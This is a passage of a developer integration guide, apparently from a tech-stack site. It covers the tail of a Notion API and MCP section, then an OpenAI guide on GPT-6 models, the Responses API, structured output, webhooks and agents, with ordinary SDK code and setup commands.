What you get, compared with the REST API:

Option B — Open-source local server (legacy)

@notionhq/notion-mcp-server (v2.x, API 2025-09-03, hyphenated tool names such as query-data-source) still installs. Notion says it is no longer actively maintained and may be sunset. Use it only when you need bearer-token auth for fully headless automation, with the token kept in the environment (never in a committed file):

claude mcp add notion-local -- npx -y @notionhq/notion-mcp-server   # reads NOTION_TOKEN from the env

For headless automation, a small script on @notionhq/client is usually the better choice.


Authentication — pick the right credential

Credential Acts as Page access Best for
Internal connection token (ntn_…) Its own bot user Only pages shared with the connection (••• → Connections, or the portal's Content access tab) Team-owned automations, CI, server jobs
Personal access token (PAT) You Everything you can access Local scripts, the ntn CLI, Workers, Agent APIs. Expires after 7/30/90/180 days or 1 year (default). Not for multi-user products
Public connection (OAuth 2.0) The authorizing user Pages picked in the OAuth page picker Products that many Notion workspaces install

How public-connection OAuth works:

  1. Send users to the authorization URL from the portal.
  2. Exchange the code at POST https://api.notion.com/v1/oauth/token with HTTP Basic auth (client_id:client_secret) and grant_type: "authorization_code". You get an access_token and a refresh_token.
  3. Refresh with grant_type: "refresh_token".

Since 2026-06-08, new public connections mint a fresh token pair on every authorization, so store the pair from every response. The SDK wraps this flow as notion.oauth.token(...), oauth.introspect, and oauth.revoke.

Installation scope is fixed when you create the connection: Any workspace (can be listed on the Marketplace) or Selected workspaces only.


REST API with @notionhq/client

npm install @notionhq/client@5.27.1
sequenceDiagram
  participant App as "Your Code"
  participant API as "Notion API"
  App->>API: "GET /v1/databases/:id"
  API-->>App: "data_sources[] (data_source_id)"
  App->>API: "POST /v1/data_sources/:id/query"
  API-->>App: "rows (pages), next_cursor"
  App->>API: "POST /v1/pages parent data_source_id + markdown"
  API-->>App: "new page id"
  App->>API: "PATCH /v1/blocks/:id/children position start"
  API-->>App: "appended blocks"
import { Client, isFullPage, collectAllDataSourceRows } from "@notionhq/client";

// Pin the latest API version: the SDK default is still 2025-09-03.
const notion = new Client({ auth: process.env.NOTION_TOKEN, notionVersion: "2026-03-11" });

// 1. Resolve the data source inside a database (single-source DBs use [0]).
const db = await notion.databases.retrieve({ database_id: process.env.NOTION_TASKS_DB_ID! });
if (!("data_sources" in db)) throw new Error("partial database response");
const dataSourceId = db.data_sources[0].id;

// 2. Query one page of rows (max page_size 100).
const res = await notion.dataSources.query({
  data_source_id: dataSourceId,
  filter: { property: "Status", status: { equals: "In progress" } },
  sorts: [{ property: "Due Date", direction: "ascending" }],
  page_size: 100,
});
const open = res.results.filter(isFullPage);

// 3. Every row, including past the 10,000-result cap of a single query.
const allRows = await collectAllDataSourceRows(notion, { data_source_id: dataSourceId });

// 4. Create a row with a Markdown body.
const page = await notion.pages.create({
  parent: { type: "data_source_id", data_source_id: dataSourceId },
  properties: {
    Name: { title: [{ text: { content: "Fix auth middleware" } }] },
    Status: { status: { name: "Not started" } },
    "Due Date": { date: { start: "2026-10-31" } },
  },
  markdown: "## Notes\n\nUse RS256 signing.",
});

// 5. Insert blocks at the top (2026-03-11: `position` replaces `after`).
await notion.blocks.children.append({
  block_id: page.id,
  position: { type: "start" },
  children: [
    { object: "block", type: "callout", callout: { rich_text: [{ type: "text", text: { content: "Auto-created" } }] } },
  ],
});

// 6. Trash it (2026-03-11: `in_trash` replaces `archived`).
await notion.pages.update({ page_id: page.id, in_trash: true });

console.log(open.length, allRows.length);

The full runnable version is examples/client.ts.

What else the API covers now

Area SDK method / endpoint Since
Markdown page content pages.retrieveMarkdown, pages.updateMarkdown (insert_content, update_content, replace_content, replace_content_range), pages.create({ markdown }) Feb–Mar 2026. The markdown_version: "v2" Notion-flavored Markdown preview (2026-09-30) is not yet typed in 5.27.1
Async large writes allow_async: true + asyncTasks.retrieve({ task_id }) 2026-06-29 / SDK 5.23.0
Views views.create/retrieve/update/delete/list, views.queries.* 2026-03-19 (needs 2025-09-03+)
Typed databases databases.create({ database_type: "tasks" | "projects" | "skills" }) 2026-09-02
Trash and archive search with filter.in_trash; dataSources.query({ is_archived: true }) 2026-07-15
Trim responses filter_properties on pages.create/pages.update and search 2026-08 / 2026-10
Meeting notes blocks.meetingNotes.create, query meeting notes 2026-05 / 5.24.0
Comments create, list, update, delete (with a markdown body) 2026-04
Custom Agents (beta) agents.*, sessions.* (stream, cancel, events) 2026-08-20

Python

pip install notion-client==3.1.0
from notion_client import Client
import os

notion = Client(auth=os.environ["NOTION_TOKEN"], notion_version="2026-03-11")

db = notion.databases.retrieve(database_id=os.environ["NOTION_TASKS_DB_ID"])
data_source_id = db["data_sources"][0]["id"]

results = notion.data_sources.query(
    data_source_id=data_source_id,
    filter={"property": "Status", "status": {"equals": "Done"}},
)
for page in results["results"]:
    print(page["id"])

Pagination and the 10,000-row cap

Every list or query endpoint returns results, has_more, and next_cursor. Send start_cursor and page_size (max 100). Pass next_cursor back verbatim; cursors are opaque. The SDK has two families of helpers:

Helper Use
iteratePaginatedAPI(fn, args) / collectPaginatedAPI(fn, args) Any paginated method (search, blocks.children.list, users.list, comments.list, dataSources.query)
iterateAllDataSourceRows(notion, args) / collectAllDataSourceRows(notion, args) Data sources that may exceed 10,000 rows. A single query stops there even with paging; these helpers window by created_time and de-duplicate (SDK ≥ 5.23.0)
import { Client, iteratePaginatedAPI, iterateAllDataSourceRows } from "@notionhq/client";

const notion = new Client({ auth: process.env.NOTION_TOKEN, notionVersion: "2026-03-11" });

for await (const block of iteratePaginatedAPI(notion.blocks.children.list, {
  block_id: process.env.NOTION_DOCS_PAGE_ID!,
})) {
  console.log(block.id);
}
for await (const row of iterateAllDataSourceRows(notion, {
  data_source_id: process.env.NOTION_DATA_SOURCE_ID!,
})) {
  console.log(row.id);
}

Rate limits and size limits

Limit Value (2026-10-20)
Per connection 180 requests/min (about 3/s) on Free and Plus; 600 requests/min (about 10/s) on Business and Enterprise. Fixed 60 s window, burstable. Retry-After is 60 s or less
Per workspace Shared by all of the workspace's connections and scaled to the plan; Retry-After can exceed a minute
Per endpoint Some endpoints have their own limit (rate_limit_reason: public_api_endpoint_rate_limit)
Payload 1,000 block elements and 500 KB per request; arrays of 100 elements; rich-text content 2,000 chars; URL 2,000; relation/people/multi-select 100 per request

How 429s work:

Writes that time out. A 503 can mean the write was saved. Read additional_data.retry_guidance and committed_resource_id before you retry. Markdown page writes return 504 gateway_timeout instead, and that doesn't mean the write was undone either.

Free-plan block limit through the API (from September 2026). Free workspaces with 2 or more members have a lifetime limit of 1,000 blocks. After the 3-day grace period ends, any API write that creates blocks returns 403 restricted_resource with additional_data.block_limit: "block_creation". The limit applies to internal connections and selected-workspace OAuth connections, but not to PATs or any-workspace OAuth. Retrying won't help; the workspace has to upgrade.


File uploads

Mode When Steps
single_part (default) ≤ 20 MiB fileUploads.create → fileUploads.send({ file }) → attach
multi_part > 20 MiB (paid workspaces) create({ mode: "multi_part", number_of_parts, filename }) → send each 5–20 MiB part with part_number (10 MiB recommended; the last part can be smaller) → complete → attach
external_url File already at a public HTTPS URL create({ mode: "external_url", external_url, filename }) → poll retrieve until uploaded

See examples/file-upload.ts (type-checked against 5.27.1).


Webhooks (with signature verification)

  1. In the Developer portal, open your connection → Webhooks → Create a subscription. Enter a public HTTPS URL (ngrok or a preview deploy in development) and choose the event types. Pick the subscription API version; 2026-03-11 payloads are identical to 2025-09-03.
  2. Notion POSTs a one-time { "verification_token": "…" }. Paste it into Verify in the portal and store it as a secret.
  3. Every event carries X-Notion-Signature: sha256=<hex>, an HMAC-SHA256 of the raw body keyed with that token. Verify it before doing anything else:
import { verifyWebhookSignature } from "@notionhq/client"; // SDK >= 5.23.0

export async function POST(request: Request): Promise<Response> {
  const rawBody = await request.text(); // raw bytes, not re-serialized JSON
  const ok = await verifyWebhookSignature({
    body: rawBody,
    signature: request.headers.get("x-notion-signature"),
    verificationToken: process.env.NOTION_WEBHOOK_VERIFICATION_TOKEN!,
  });
  if (!ok) return new Response("invalid signature", { status: 401 });
  // enqueue JSON.parse(rawBody), then return quickly
  return new Response(null, { status: 200 });
}

signWebhookPayload() generates signatures for tests. The helper works on Node 18+, Bun, Deno, Cloudflare Workers, and Vercel Edge. The full handler, including the handshake, is in examples/webhook-route.ts.

Event families:

Delivery rules:


Notion AI, Custom Agents, Workers — what matters to developers

Pricing (API-relevant, notion.com/pricing, 2026-10-20)

Plan Price What matters for the API
Free $0 Public API and webhooks included. 180 req/min per connection. 1,000-block lifetime limit for 2+ member workspaces, enforced through the API. 5 MB file uploads
Plus $10 per seat/month Unlimited blocks; uploads up to about 5 GB; Notion AI trial only; 180 req/min
Business $20 per seat/month 600 req/min; Notion Agent, Custom Agents, Workers (beta), Enterprise Search (beta); 1,500 Standard + 500 Select AI credits per seat per month; multi-source SQL in MCP
Enterprise Custom Everything in Business plus zero data retention with LLM providers, SCIM, audit log/SIEM, Admin API, MCP client allow-listing

Extra AI usage is bought as Notion credits. The pricing page lists per-seat monthly prices but doesn't say whether they're annual-billing rates, so confirm in checkout before you quote a customer.


Environment Variables

Secrets (store in the vault / .env.local, server-side only):

NOTION_TOKEN=ntn_...                         # internal connection token or PAT
NOTION_WEBHOOK_VERIFICATION_TOKEN=secret_... # from the webhook verification handshake
NOTION_OAUTH_CLIENT_SECRET=...               # public connections only

Non-secret settings (plain config):

Variable Purpose
NOTION_OAUTH_CLIENT_ID Public connection client ID
NOTION_OAUTH_REDIRECT_URI OAuth redirect (HTTPS)
NOTION_TASKS_DB_ID Task tracker database ID (container)
NOTION_DATA_SOURCE_ID Data source inside that database (query/create target)
NOTION_DOCS_PAGE_ID Docs root page
NOTION_CHANGELOG_PAGE_ID Changelog page used by the hook below
NOTION_SPRINT_DB_ID Sprint planning database

Take IDs from id fields, not from URLs. Record links moved from www.notion.so/{id} to app.notion.com/p/{id} in June 2026, and Notion says the format may change again.


Automation Workflows

Claude Code hook: append feat: commits to a changelog page

.claude/settings.json:

{
  "hooks": {
    "Stop": [
      { "hooks": [{ "type": "command", "command": "node scripts/notion-update-docs.mjs" }] }
    ]
  }
}

scripts/notion-update-docs.mjs:

import { Client } from "@notionhq/client";
import { execFileSync } from "node:child_process";

const notion = new Client({ auth: process.env.NOTION_TOKEN, notionVersion: "2026-03-11" });

const commitMsg = execFileSync("git", ["log", "-1", "--pretty=%B"]).toString().trim();
if (!commitMsg.startsWith("feat:")) process.exit(0);

await notion.pages.updateMarkdown({
  page_id: process.env.NOTION_CHANGELOG_PAGE_ID,
  type: "insert_content",
  insert_content: {
    content: `- [${new Date().toISOString().slice(0, 10)}] ${commitMsg}\n`,
    position: { type: "start" },
  },
});

Slash command: create a task

.claude/commands/notion-task.md:

Create a new task in the Notion tasks data source for: $ARGUMENTS

Use the Notion MCP (notion-create-pages) with:
- Name: $ARGUMENTS
- Status: Not started
- Priority: Medium
- Source: "Claude Code"

Report the URL of the created Notion page.

CI: record a release on deploy

# .github/workflows/notion-update.yml
name: Update Notion on Deploy
on:
  workflow_run:
    workflows: ["Deploy to Production"]
    types: [completed]

jobs:
  update-notion:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      - uses: actions/setup-node@v4   # pin to a full commit SHA in real workflows
        with: { node-version: '22' }
      - run: npm install @notionhq/client@5.27.1
      - name: Update Notion
        env:
          NOTION_TOKEN: ${{ secrets.NOTION_TOKEN }}
          NOTION_SPRINT_DB_ID: ${{ vars.NOTION_SPRINT_DB_ID }}
          SHA: ${{ github.sha }}
        run: |
          node --input-type=module -e "
          import { Client } from '@notionhq/client';
          const notion = new Client({ auth: process.env.NOTION_TOKEN, notionVersion: '2026-03-11' });
          const db = await notion.databases.retrieve({ database_id: process.env.NOTION_SPRINT_DB_ID });
          await notion.pages.create({
            parent: { type: 'data_source_id', data_source_id: db.data_sources[0].id },
            properties: {
              Name: { title: [{ text: { content: 'Deployed: ' + process.env.SHA } }] },
              Date: { date: { start: new Date().toISOString().slice(0, 10) } },
            },
          });
          "

Common Use Cases

Use case Approach
Task tracking MCP notion-create-pages into the tasks data source
Sprint review MCP notion-query-data-sources (mode: "view" on a saved view is free on every plan)
Auto-changelog Hook → pages.updateMarkdown insert_content
Knowledge-base search MCP notion-ai-search (Notion AI) or notion-search (keyword)
React to edits Webhook subscription → verify → queue → re-fetch
Import assets File Upload API (external_url for migrations)
Pull external data into Notion Notion Worker sync (beta)

Troubleshooting

Issue Fix
401 unauthorized Bad or expired token. PATs expire, and admins can revoke them or change the PAT policy
404 object_not_found Internal connection not shared with the page (••• → Connections or the portal's Content access)
databases.query is not a function SDK v5: use dataSources.query({ data_source_id })
archived / after ignored or rejected You're on 2026-03-11: use in_trash, and position: { type: "after_block", after_block: { id } }. The SDK logs a warning for unknown params
Only 10,000 rows come back Use collectAllDataSourceRows / iterateAllDataSourceRows
403 restricted_resource with block_limit Free multi-member workspace is out of blocks. Upgrade; retrying won't help
429 rate_limited Honor Retry-After / additional_data.retry_after; check rate_limit_reason (workspace-shared vs per-connection)
503 on a write Check additional_data.retry_guidance / committed_resource_id; the write may already be saved
Webhook signature never matches Verify the raw body, not JSON.stringify(await req.json())
Formula or rollup is type: "unsupported" Too many related pages or nested formulas; treat the value as unavailable

codeAmani notes

Official docs:

OpenAI Integration Guide

Technology: open-ai · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/open-ai

Insight:

OpenAI is codeAmani's secondary provider — reach for it when structured output, fast classification, or function calling matters, while Claude stays primary for reasoning. The current family is GPT-6 (gpt-6-astra flagship, gpt-6.1-sol balanced, gpt-6-luna cheap); GPT-4o is deprecated and shuts down 2027-01-14, with gpt-6-luna as OpenAI's named replacement. Build on the Responses API — GPT-6 tool calling requires it, and the Assistants API shut down 2026-08-26. In openai v7, never pass { body } as create()'s second argument: it replaces the whole request body.

 ██████╗ ██████╗ ███████╗███╗   ██╗ █████╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔══██╗██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████║██║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║██╔══██║██║
╚██████╔╝██║     ███████╗██║ ╚████║██║  ██║██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝

OpenAI Integration Guide

Focus: Using OpenAI as codeAmani's secondary AI provider — GPT-6 models on the Responses API, Structured Outputs, the Decisions API for routing, built-in tools and remote MCP, webhooks, and the Agents SDK — alongside Claude in Claude Code workflows.

Overview

Claude Code and OpenAI are complementary. OpenAI's current models — the GPT-6 family (gpt-6-astra, gpt-6.1-sol, gpt-6-sol, gpt-6-luna), with GPT-5.6 (gpt-5.6-sol / -terra / -luna) still fully supported — are called through the openai SDK or the Vercel AI SDK. New work targets the Responses API (client.responses). OpenAI's wording: "While Chat Completions remains supported, Responses is recommended for all new projects." For GPT-6 it is more than a recommendation: tool calling with reasoning only works on Responses.

Here is where OpenAI sits as the secondary provider: reach for it when structured output, fast classification, or function calling matters, while Claude stays primary for reasoning.

flowchart TD
  A["Task in a codeAmani app or Claude Code session"] --> Q1{"What kind of task?"}
  Q1 -->|"classify / route / score"| D["OpenAI Decisions API<br/>gpt-6-luna"]
  Q1 -->|"extract to a schema<br/>or call functions"| B["OpenAI Responses API<br/>gpt-6-luna, step up to gpt-6.1-sol"]
  Q1 -->|"reasoning, code gen"| C["Claude<br/>primary"]
  B --> E["Typed result back in your code"]
  D --> E
  C --> E

Official Documentation

Resource URL
API reference https://developers.openai.com/api/reference/overview
Models https://developers.openai.com/api/docs/models
Using GPT-6 (migration + prompting) https://developers.openai.com/api/docs/guides/latest-model
Pricing https://developers.openai.com/api/docs/pricing
Deprecations https://developers.openai.com/api/docs/deprecations
Changelog https://developers.openai.com/api/docs/changelog
Responses vs. Chat Completions https://developers.openai.com/api/docs/guides/migrate-to-responses
Conversation state / Conversations API https://developers.openai.com/api/docs/guides/conversation-state
Remote MCP + connectors https://developers.openai.com/api/docs/guides/tools-connectors-mcp
Webhooks https://developers.openai.com/api/docs/guides/webhooks
Data controls (ZDR, retention, residency) https://developers.openai.com/api/docs/guides/your-data
Agents (SDK vs Agents API) https://developers.openai.com/api/docs/guides/agents
Node SDK https://github.com/openai/openai-node
Python SDK https://github.com/openai/openai-python

Docs domain note: platform.openai.com/docs/* links still resolve, but the canonical docs live on developers.openai.com. Every docs page has a Markdown version: append .md to its URL. Codex docs under developers.openai.com/codex/* now redirect to learn.chatgpt.com/docs/*.


Models at a glance (verified 2026-10-20)

Standard pricing per 1M tokens, short context (≤272K input tokens). Long-context requests cost more; Batch and Flex halve the rates; Fast mode doubles them. Full table: reference/pricing-snapshot.md.

Tier Model id Input / cached / output Use it for
Flagship gpt-6-astra $10.00 / $1.00 / $50.00 Hardest end-to-end work. Claude is codeAmani's primary here.
Balanced gpt-6.1-sol $2.00 / $0.10 / $10.00 Complex extraction and agentic work at lower cost ("near-Astra").
Coding/agentic gpt-6-sol $2.00 / $0.20 / $10.00 Superseded for most work by gpt-6.1-sol.
Budget gpt-6-luna $0.10 / $0.01 / $0.50 codeAmani default for structured output, extraction, routing. The only Decisions API model.
Previous family gpt-5.6-sol (alias gpt-5.6), gpt-5.6-terra, gpt-5.6-luna $4/$20, $2/$12, $0.20/$1.20 Still supported. Sol's promotional price runs "at least through November 21, 2026".
Embeddings text-embedding-3-small (1536), text-embedding-3-large (3072) $0.02, $0.13 RAG / semantic search. Unchanged.
Images gpt-image-2.5-flare, gpt-image-2.5-sunburst, gpt-image-2 token-priced Flare for everyday generation, Sunburst for precise edits.
Voice gpt-realtime-2.1, gpt-realtime-2.1-mini, gpt-live-1 see pricing Speech-to-speech agents; GPT-Live is $0.05/min plus backend usage.
Transcription gpt-transcribe, gpt-live-transcribe $0.0045/min, $0.017/min Replace whisper-1 and gpt-4o-*-transcribe (shut down 2027-02-26).

All GPT-6 models have a 1,050,000-token context window and 128,000 max output tokens. They accept text and image input and support Structured Outputs and function calling.

GPT-6 differences that break old code (from the "Using GPT-6" guide):

Deprecations you will hit (from the deprecations page)

Shutdown What Replacement
Already gone Assistants API (2026-08-26), Sora 2 + Videos API (2026-09-24), Realtime API beta header (2026-05-12), DALL·E 2/3 (2026-05-12) Responses + Conversations; no video replacement; Realtime GA; GPT Image
2026-10-23 o4-mini, o3-mini, o1, gpt-4.1-nano, gpt-4-turbo, gpt-3.5-turbo, gpt-4o-2024-05-13, gpt-image-1 gpt-5.6-terra / gpt-5.6-sol / gpt-5.6-luna / GPT Image 2.5
2026-11-30 Reusable prompts (v1/prompts), Evals platform, Agent Builder Prompts in your code; Promptfoo; Agents SDK
2026-12-01 gpt-image-1-mini, gpt-image-1.5, chatgpt-image-latest gpt-image-2.5-flare / -sunburst
2026-12-11 gpt-5-2025-08-07 (+ mini/nano/pro), o3, o3-pro GPT-5.6 Sol / Terra / Luna
2027-01-14 gpt-4o (2024-08-06, 2024-11-20), gpt-4o-mini, gpt-4.1, gpt-4.1-mini gpt-6-luna
2027-01-06 New fine-tuning jobs for existing customers (closed to new orgs since 2026-05-07); tts-1, tts-1-hd, gpt-4o-mini-tts Prompting + Structured Outputs; gpt-realtime-2.1-mini
2027-04-01 gpt-5.1, gpt-5.3-codex, gpt-5.4-nano gpt-6-sol / gpt-6-luna

To monitor shutdowns in code, GET /v1/models returns an optional shutdown_date per model.


OpenAI SDK Integration

Here is how a Responses call travels from your app through the SDK to the model and back.

sequenceDiagram
  participant App as "Your server code"
  participant SDK as "openai SDK v7"
  participant API as "OpenAI Responses API"
  App->>SDK: "client.responses.create - gpt-6-luna"
  SDK->>API: "POST /v1/responses with OPENAI_API_KEY"
  API->>API: "run model and any built-in tools"
  API-->>SDK: "response with output items"
  SDK-->>App: "response.output_text or output_parsed"

Node.js / TypeScript

npm install openai   # 7.39.0 verified 2026-10-20 — requires Node >= 22; zod ^3.25 || ^4 for helpers
import OpenAI from "openai";

const client = new OpenAI(); // reads OPENAI_API_KEY; server-side only

const response = await client.responses.create({
  model: "gpt-6-luna",
  reasoning: { effort: "low" },
  instructions: "You are a TypeScript expert.",
  input: "Convert this class to use composition over inheritance.",
});

console.log(response.output_text);

v7 gotcha — the second argument is RequestOptions, not extra params. The SDK builds the request as { body, ...options }, so client.responses.create(params, { body: { foo: 1 } }) sends only { foo: 1 } and drops your model, input and tools. Put extra or undocumented fields in the first argument (with // @ts-expect-error if the types don't know them yet); use the second for headers, timeout, maxRetries, signal, and idempotencyKey.

Chat Completions still works, without tools on GPT-6 reasoning models:

const completion = await client.chat.completions.create({
  model: "gpt-6-luna",
  reasoning_effort: "low",
  messages: [
    { role: "system", content: "You are a TypeScript expert." },
    { role: "user", content: "Convert this class to use composition over inheritance." },
  ],
});
console.log(completion.choices[0]?.message.content);

Python

pip install openai   # 3.35.1 verified 2026-10-20 — requires Python >= 3.10
import os
from openai import OpenAI

client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])

response = client.responses.create(
    model="gpt-6-luna",
    input="Generate unit tests for this function.",
)
print(response.output_text)

CLI

OpenAI now ships an official CLI (brew install openai/tools/openai) for shell workflows:

openai responses create --model "gpt-6-luna" --input "Summarise this diff" --raw-output \
  --transform 'output.#(type=="message").content.0.text'

On Windows or in CI, a curl to https://api.openai.com/v1/responses with Authorization: Bearer $OPENAI_API_KEY works anywhere; read .output_text from the JSON.


Structured output & function calling

This is the main reason OpenAI is codeAmani's secondary provider. With a strict JSON schema the model is guaranteed to emit JSON that matches it, and the SDK hands you a typed object. Structured Outputs work on every current model (GPT-4o 2024-08-06 and later, all GPT-5.x and GPT-6).

flowchart TD
  A["Zod schema in your app"] --> B["zodTextFormat<br/>(Responses API)"]
  B --> C["Strict JSON schema<br/>sent to model"]
  C --> D["Model constrained<br/>to schema"]
  D --> E["response.output_parsed<br/>typed object"]

(a) Structured output — Responses API

import OpenAI from "openai";
import { zodTextFormat } from "openai/helpers/zod";
import { z } from "zod";

const client = new OpenAI();

// Extract order data from a free-text payment SMS (Kenya-targeted projects only;
// US projects get the same pattern for Stripe receipts or invoices).
const OrderExtraction = z.object({
  amount_kes: z.number().int(),       // Daraja amounts are integer KES
  phone: z.string(),                   // normalise to 254XXXXXXXXX downstream
  reference: z.string(),
  confidence: z.enum(["high", "medium", "low"]),
});

const response = await client.responses.parse({
  model: "gpt-6-luna",
  reasoning: { effort: "low" },
  store: false,
  input: [
    { role: "system", content: "Extract the payment fields from the message." },
    { role: "user", content: "Got KES 1500 from 0712345678 ref INV-204" },
  ],
  text: { format: zodTextFormat(OrderExtraction, "order_extraction") },
});

const order = response.output_parsed; // typed, or null on refusal
if (order) console.log(order.amount_kes, order.phone, order.confidence);

(b) Function calling — Responses API

Function tools use the flat shape (type: "function" at the top level, strict: true). Calls come back as function_call items in response.output, with name, call_id, and arguments as a JSON string. Validate the arguments with Zod before you act on them. See examples/structured-output.ts.

GPT-6 adds async tool calling (async: true on a function tool lets the model keep working while your code runs it) and Programmatic Tool Calling (the model writes JavaScript that orchestrates several tool calls). Both are Responses-only.

Strict-schema gotcha: every property must be listed in required. Model an optional field as z.union([T, z.null()]), not .optional(), and keep additionalProperties: false.

(c) Classify or route? Use the Decisions API (beta)

For "which team gets this ticket?" or "is this photo damaged?", the Decisions API (client.decisions.create, POST /v1/decisions) returns typed answers "about 10x faster than the Responses API". It has three question types: predicate (a probability), choice (one of 2–255 values), and score (ordered levels). Only gpt-6-luna is supported, and it needs openai ≥ 7.30.0 (JS) or ≥ 3.26.0 (Python). See examples/decisions-routing.ts. Use Structured Outputs when you need to generate an object.

(d) Vercel AI SDK 7

codeAmani apps usually call models through the AI SDK, so switching providers is a one-line model change. With ai 7.0.146 and @ai-sdk/openai 4.0.98 (verified 2026-10-20):

import { openai } from "@ai-sdk/openai";
import { generateText, Output } from "ai";
import { z } from "zod";

const { output } = await generateText({
  model: openai("gpt-6-luna"),            // Responses API by default; openai.chat(...) for Chat Completions
  output: Output.object({ schema: z.object({ intent: z.enum(["demo", "pricing", "support"]) }) }),
  prompt: "Classify: 'Can I get a quote for 50 seats?'",
  providerOptions: { openai: { reasoningEffort: "low", store: false } },
});

generateObject and streamObject are deprecated (AI SDK 6); use generateText / streamText with output. AI SDK 7 removed experimental_output; read result.output. See examples/ai-sdk-structured.ts.


Conversation state

There are three ways to carry context between turns:

Approach How Storage
Manual Resend the message array each turn Nothing stored by OpenAI if store: false
Chaining previous_response_id: prev.id Responses are stored 30 days by default (store: true)
Conversations API const c = await client.conversations.create({}), then responses.create({ conversation: c.id, ... }) Items persist until deleted, with no 30-day TTL. Not ZDR-eligible.

The Assistants API (threads, runs) shut down on 2026-08-26. Migrate threads to the Conversations API using the Assistants migration guide.

For long jobs, set background: true and either poll client.responses.retrieve(id) or subscribe to the response.completed webhook (below).


Built-in tools

Responses API built-in tools (from the tools guide): web search (now with image results), file search, remote MCP servers, skills, shell (hosted container or local), computer use, image generation, tool search, Programmatic Tool Calling, plus Code Interpreter. They bill at the model's token rates plus per-tool fees, e.g. web search at $10 per 1K calls, file search at $2.50 per 1K calls plus $0.10/GB-day storage, and containers from $0.03 per 1 GB per 20-minute session (billed per minute, 5-minute minimum).

Image generation

Use the Image API (client.images.generate({ model: "gpt-image-2.5-flare", prompt }), which returns b64_json) for one-shot images. Use the Responses image_generation tool for multi-turn editing:

const res = await client.responses.create({
  model: "gpt-6-luna",
  input: "A clean product photo of a reusable water bottle on white",
  tools: [{ type: "image_generation", model: "gpt-image-2.5-flare" }],
});
const b64 = res.output.find((o) => o.type === "image_generation_call")?.result;

GPT Image models may require API Organization Verification. Transparent backgrounds (background: "transparent" with png/webp) are in preview for gpt-image-2. There is no video API: Sora 2 and the Videos API shut down 2026-09-24.

Voice: Realtime API and GPT-Live


MCP integration — the Responses API mcp tool

The OpenAI model acts as an MCP client. You give it a remote MCP server URL and it lists and calls that server's tools itself.

import OpenAI from "openai";

const client = new OpenAI();

const resp = await client.responses.create({
  model: "gpt-6.1-sol",
  tools: [
    {
      type: "mcp",
      server_label: "openai_docs",
      server_description: "Search and read the public OpenAI documentation.",
      server_url: "https://developers.openai.com/mcp",
      allowed_tools: ["search_openai_docs"],
      require_approval: "never", // read-only public server; use "always" for anything that writes
    },
  ],
  input: "Find the Responses API streaming docs and return the links.",
});

console.log(resp.output_text);

The other direction: to give Claude Code or Codex your tools, build a standard MCP server (see the repo's MCP guides). Codex itself is an MCP client: codex mcp add <name> --url https://... or [mcp_servers.<name>] in ~/.codex/config.toml. The old codex mcp-server command has been removed; use the Codex app server.


Webhooks (with signature verification)

OpenAI webhooks follow the Standard Webhooks spec, with webhook-id, webhook-timestamp, and webhook-signature headers. Create an endpoint in the dashboard (Project → Webhooks) to get a signing secret. You can only view it once.

Events include response.completed / .failed / .cancelled / .incomplete, batch.*, fine_tuning.job.*, realtime.call.incoming, Agents API session events, and safety alerts.

// app/api/webhooks/openai/route.ts — full version in examples/webhook-route.ts
import OpenAI from "openai";

const client = new OpenAI({ webhookSecret: process.env.OPENAI_WEBHOOK_SECRET });

export async function POST(req: Request): Promise<Response> {
  const raw = await req.text(); // verify the RAW body, never parsed JSON
  try {
    const event = await client.webhooks.unwrap(raw, req.headers);
    if (event.type === "response.completed") {
      // enqueue work keyed on event.data.id; dedupe on the webhook-id header
    }
    return new Response(null, { status: 200 });
  } catch (err) {
    if (err instanceof OpenAI.InvalidWebhookSignatureError) {
      return new Response("Invalid signature", { status: 400 });
    }
    throw err;
  }
}

Return 2xx within a few seconds. Failed or slow deliveries are retried with exponential backoff for up to 72 hours, 3xx redirects are not followed, and duplicate deliveries can happen, so dedupe on webhook-id. client.webhooks.verifySignature(raw, headers) verifies without parsing.


Agents: Agents SDK, Agents API, Codex

You want to Use
Run the agent loop in your app (tools, handoffs, approvals, your storage) Agents SDK: npm install @openai/agents zod (0.20.0, pre-1.0, pin exactly) / pip install openai-agents (0.24.0)
Let OpenAI run a managed Codex harness plus sandbox, with durable sessions Agents API (public beta since 2026-09-10): client.beta.agents.sessions.create(...)
Call models directly and build your own loop Responses API
Drive coding tasks from CI or scripts Codex SDK: npm install @openai/codex-sdk (0.163.0, Node ≥ 18) or the codex CLI
import { Agent, run, tool } from "@openai/agents";
import { z } from "zod";

const orderStatus = tool({
  name: "order_status",
  description: "Look up an order's status by reference.",
  parameters: z.object({ reference: z.string() }),
  async execute({ reference }) { return `Order ${reference}: shipped`; },
});

const agent = new Agent({ name: "Support", instructions: "Answer briefly.", model: "gpt-6-luna", tools: [orderStatus] });
const result = await run(agent, "Where is order INV-9?");
console.log(result.finalOutput);

Agent Builder shuts down 2026-11-30. OpenAI points its users to the Agents SDK. ChatKit remains available.


Data controls (ZDR, retention, residency)

codeAmani default: send store: false for one-shot extraction, and only use Conversations when you need durable chat history.


Environment Variables

Secrets only — keep these server-side:

OPENAI_API_KEY=sk-proj-...
OPENAI_WEBHOOK_SECRET=whsec_...

Optional secret, only for scripts that call the Admin API (usage, costs, key management):

OPENAI_ADMIN_KEY=sk-admin-...

Non-secret settings (the SDK reads them automatically when set):

Variable Purpose Default
OPENAI_ORG_ID Organization for billing attribution account default
OPENAI_PROJECT_ID Project scoping key's project
OPENAI_BASE_URL Override the API host (e.g. a regional host or a gateway) https://api.openai.com/v1

Store secrets in .env.local and the Vercel dashboard (see ENV_MASTER.md). Never ship them to the browser. Project keys can now have expiry dates, and orgs can restrict key creation. Trusted workloads can also use workload identity federation instead of long-lived keys.


Automation Workflows

Dual-provider review hook

Use a Claude Code Stop hook to send a summary to OpenAI for a cross-model review.

.claude/settings.json:

{
  "hooks": {
    "Stop": [
      { "hooks": [{ "type": "command", "command": "node scripts/openai-second-opinion.mjs" }] }
    ]
  }
}

scripts/openai-second-opinion.mjs:

import OpenAI from "openai";
import { readFileSync } from "node:fs";

const client = new OpenAI();
